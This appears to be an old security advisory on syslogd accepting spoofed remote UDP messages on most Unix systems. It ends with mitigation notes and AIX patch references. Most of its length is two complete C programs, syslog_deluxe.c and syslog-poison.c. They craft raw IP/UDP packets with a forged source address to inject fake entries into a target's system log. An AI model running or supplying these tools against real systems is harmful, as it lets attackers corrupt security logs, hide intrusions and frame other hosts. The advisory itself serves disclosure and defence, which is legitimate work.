COMMAND

    syslogd

SYSTEMS AFFECTED

    Most unices

PROBLEM

    Yuri  Volobuev  posted  following.   It  is  about  'ugly  case of
    spoofing'.  Syslog  is every Unix  sysadmin's close friend.   Very
    often, syslog  is a  major (sometimes  the only)  way of gathering
    various   information,   including   security-related,   about   a
    particular system or network.   Some people trust syslog and  make
    important decisions based on what they see there.

    It's trivial  to fake  any kind  of syslog  entry using  syslog(3)
    locally, and  this fact  is widely  known and  accepted.   What is
    less known,  however, is  that many  syslogd implementations  have
    remote reception turned on by default.

    Remote reception  is a  very simple  thing.   If syslogd  finds an
    entry in config file which has @hostname at action field, it  send
    a message to  that host.   The idea is  OK, but implementation  is
    not.   First, there's  no way  to control  access to your syslogd,
    anybody on  the net  can send  you syslog  message, and  you can't
    tell  your  syslogd  to  refuse  them  (well,  you  can't  do this
    _easily_,  hacking  the  source  is  an  option,  where possible).
    Second, the messages are send by the virtue of the wonderful  UDP.
    This basically nullifies  the lack of  access control.   UDP is so
    easy to spoof that there's  no point in restricting the  access to
    the  certain  clients.   There's  no  protocol  for communications
    between two syslogds.   One sends out  a datagram, the  second one
    receives  it,  if  it  makes  it  through,  and  that's  it.    No
    acknowledgments  of  any  kind,  it's  a  one  way  talk.   If the
    incoming message  has it's  source IP  set to  that of  the target
    system, it'll  be output  in the  syslog file  just like any local
    entry, and there's no way to distinguish between them.

    The  program  below,  syslog_deluxe.c,  illustrates  this point by
    sending  out  a  syslog  message  with  both source and remote IPs
    supplied by the user.  It was tested to work with syslogds on  AIX
    4.2, Irix 6.2  and Linux, syslogd  1.3-3 (the one  that comes with
    RedHat-4.2).  It'll work with any other syslogd, as long as remote
    reception is on.  There's another version also below.

    /* syslog_deluxe.c

        This program sends a spoofed syslog message.  Your have to  be
        root to run it.  Source and target IP addresses, message text,
        facility and priority are supplied by the user.

        It exploits the fact that many syslogd implementations  listen
        to port  514/udp and  accept whatever  datagrams arrive,  thus
        making it very easy to spoof syslog entries.  Some versions of
        syslogd allow to turn off this feature, some don't.

        The code compiles  and works under  Linux.  Any  Unix that has
        SOCK_RAW/IPPROTO_RAW should be no problem (you may need to use
        BSD-style struct  ip though).   It may  use few  improvements,
        like checking  for possible  ICMP Port  Unreachable errors  in
        case  the  remote  machine  doesn't  run  syslogd  with remote
        reception turned on.

        The idea behind this program is a proof of a concept,  nothing
        more.  It comes as  is, no warranty.  However,  you're allowed
        to  use  it  under  one  condition:  you  must  use your brain
        simultaneously.   If  this  condition  is  not  met, you shall
        forget about this program and go RTFM immediately.

        yuri volobuev'97
        volobuev@t1.chem.umn.edu

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <syslog.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <netinet/ip.h>

    #define IPVERSION       4

    /* This is the stuff that actually gets sent.  Feel free to change it */
    #define MESSAGE_FAC LOG_DAEMON
    #define MESSAGE_PRI LOG_INFO
    char message[] = {"telnetd[4489]: connection from devil@hell.org.universe\n"};

    struct raw_pkt_hdr {
            struct iphdr ip; /* This is Linux-style iphdr.
                                Use BSD-style struct ip if you want */
            struct udphdr udp;
    };

    struct raw_pkt_hdr* pkt;

    void die(char *);
    unsigned long int get_ip_addr(char*);
    unsigned short checksum(unsigned short*,char);

    int main(int argc,char** argv){

    struct sockaddr_in sa;
    int sock,packet_len;
    char usage[] = {"\
      syslog_deluxe, yuri volobuev'97\n\
      make syslog look the way you want, here there and everywhere\n\
    \t usage: syslog_deluxe src_hostname dst_hostname\n"};

    char on = 1;

    if(argc != 3)die(usage);

    if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket");
            exit(1);
            }

    sa.sin_addr.s_addr = get_ip_addr(argv[2]);
    sa.sin_family = AF_INET;

    packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
    pkt = calloc((size_t)1,(size_t)packet_len);

    pkt->ip.version = IPVERSION;
    pkt->ip.ihl = sizeof(struct iphdr) >> 2;
    pkt->ip.tos = 0;
    pkt->ip.tot_len = htons(packet_len);
    pkt->ip.id = htons(getpid() & 0xFFFF);
    pkt->ip.frag_off = 0;
    pkt->ip.ttl = 0x40;
    pkt->ip.protocol = IPPROTO_UDP;
    pkt->ip.check = 0;
    pkt->ip.saddr = get_ip_addr(argv[1]);
    pkt->ip.daddr = sa.sin_addr.s_addr;
    pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

    pkt->udp.source = htons(514);
    pkt->udp.dest = htons(514);
    pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
    pkt->udp.check = 0;  /* If you feel like screwing around with pseudo-headers
                            and stuff, you may of course calculate UDP checksum
                            as well.  I chose to leave it zero, it's usually OK */

    sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
            (int)(MESSAGE_FAC | MESSAGE_PRI),message);

    if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
            perror("setsockopt: IP_HDRINCL");
            exit(1);
            }

    if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){
            perror("sendto");
            exit(1);
            }
    exit(0);
    }

    void die(char* str){
    fprintf(stderr,"%s\n",str);
    exit(1);
    }

    unsigned long int get_ip_addr(char* str){

    struct hostent *hostp;
    unsigned long int addr;

    if( (addr = inet_addr(str)) == -1){
            if( (hostp = gethostbyname(str)))
                    return *(unsigned long int*)(hostp->h_addr);
            else {
                    fprintf(stderr,"unknown host %s\n",str);
                    exit(1);
                    }
            }
    return addr;
    }

    unsigned short checksum(unsigned short* addr,char len){
    /* This is a simplified version that expects even number of bytes */
    register long sum = 0;

    while(len > 1){
            sum += *addr++;
            len -= 2;
            }
    while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

    return ~sum;
    }

    Another version  of syslog_deluxe.c  to allow  sending of  spoofed
    syslog messages from either stdin or the command line.

    /*
    ** syslog-poison.c -- Spoof syslog messages.
    **
    ** By Gamma '98. Based on code by yuri volobuev.
    **
    ** Exploits the fact that many syslogd implementations listen on port 514/udp
    ** and accept all datagrams that arrive, thus making it very easy to spoof
    ** syslog entries.  Some versions of syslogd allow this feature to be turned
    ** off, some don't.  Sends stdin or argv[3] to the target.
    **
    ** Usage: ./syslog-poison <source> <target> [message]
    **
    ** NB: "message" should contain the syslog priority code.
    **     eg, "<6>in.telnetd[8377]: connect from root@foo.bar", will log the
    **     message as informational.
    **
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <syslog.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <netinet/ip.h>

    #define IPVERSION       4

    struct raw_pkt_hdr {
      struct iphdr ip;
      struct udphdr udp;
    };

    struct raw_pkt_hdr* pkt;

    void usage(char *);
    int doit(char *, char *, char *);
    unsigned long int get_ip_addr(char*);
    unsigned short checksum(unsigned short*, char);

    int main(int argc, char** argv) {

      char *source,*target;
      char message[512];

      if (argc < 3) usage(argv[0]);

      source = argv[1];
      target = argv[2];

      if (argc == 4) {
        strcpy(message,argv[3]);
        doit(source,target,message);
      }
      if (argc == 3) {
        while (fgets(message, sizeof(message), stdin)) {
          doit(source,target,message);
        }
      }
      exit(0);
    }

    int doit(char *source, char *target, char *message) {

      struct sockaddr_in sa;
      int sock,packet_len;
      char on = 1;

      if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
        perror("socket");
        exit(1);
      }

      sa.sin_addr.s_addr = get_ip_addr(target);
      sa.sin_family = AF_INET;

      packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
      pkt = calloc((size_t)1,(size_t)packet_len);

      pkt->ip.version = IPVERSION;
      pkt->ip.ihl = sizeof(struct iphdr) >> 2;
      pkt->ip.tos = 0;
      pkt->ip.tot_len = htons(packet_len);
      pkt->ip.id = htons(getpid() & 0xFFFF);
      pkt->ip.frag_off = 0;
      pkt->ip.ttl = 0x40;
      pkt->ip.protocol = IPPROTO_UDP;
      pkt->ip.check = 0;
      pkt->ip.saddr = get_ip_addr(source);
      pkt->ip.daddr = sa.sin_addr.s_addr;
      pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

      pkt->udp.source = htons(514);
      pkt->udp.dest = htons(514);
      pkt->udp.len = htons(packet_len - sizeof(struct iphdr));
      pkt->udp.check = 0;

      sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"%s",message);

      if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
        perror("setsockopt: IP_HDRINCL");
        exit(1);
      }

      if (sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0) {
        perror("sendto");
        exit(1);
      }
    }

    void usage (char *name) {
      fprintf(stderr,"'syslog-poison.c' -- Gamma '98\n");
      fprintf(stderr,"-----------------------------------------------------------\n");
      fprintf(stderr,"Priority codes from /usr/include/syslog.h\n");
      fprintf(stderr,"-----------------------------------------------------------\n");
      fprintf(stderr,"LOG_EMERG     0    /* system is unusable */\n");
      fprintf(stderr,"LOG_ALERT     1    /* action must be taken immediately */\n");
      fprintf(stderr,"LOG_CRIT      2    /* critical conditions */\n");
      fprintf(stderr,"LOG_ERR       3    /* error conditions */\n");
      fprintf(stderr,"LOG_WARNING   4    /* warning conditions */\n");
      fprintf(stderr,"LOG_NOTICE    5    /* normal but signification condition */\n");
      fprintf(stderr,"LOG_INFO      6    /* informational */\n");
      fprintf(stderr,"LOG_DEBUG     7    /* debug-level messages */\n");
      fprintf(stderr,"-----------------------------------------------------------\n");
      fprintf(stderr,"Usage: %s <source> <target> [message]\n",name);
      exit(1);
    }

    unsigned long int get_ip_addr(char* str) {

    struct hostent *hostp;
    unsigned long int addr;

    if ((addr = inet_addr(str)) == -1) {
      if ((hostp = gethostbyname(str)))
        return *(unsigned long int*)(hostp->h_addr);
      else {
        fprintf(stderr,"unknown host %s\n",str);
        exit(1);
        }
      }
      return addr;
    }

    unsigned short checksum(unsigned short* addr,char len) {
      register long sum = 0;

      while(len > 1) {
        sum += *addr++;
        len -= 2;
      }
      while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
      return ~sum;
    }

SOLUTION

    The  fix  for  all  that  would  be  turning off remote reception.
    Unfortunately, it  can't always  be done.   Linux syslogd  1.3 has
    this option,  and remote  reception if  off by  default.   AIX and
    Irix users are not so fortunate.  It's on and can't be turned  off
    in any obvious way, other than killing syslogd.

    The IBM-ERS team pointed this  out earlier and they are  currently
    in the build and test phase for the following APARs:

        Abstract:  "SECURITY: syslog denial-of-service vulnerability"
        APAR 4.1:  IX70659
        APAR 4.2:  IX70660

    There's a temporary fix available via anonymous ftp from:

        ftp://testcase.software.ibm.com/aix/fromibm/security.syslogd.tar.Z

    The AIX  fix will  include a  new "-r"  option that  will turn off
    remote message logging.   (Note that by  default, remote  messages
    will still be accepted.  The AIX "-r" option is backward from  the
    way that the Linux syslogd works.)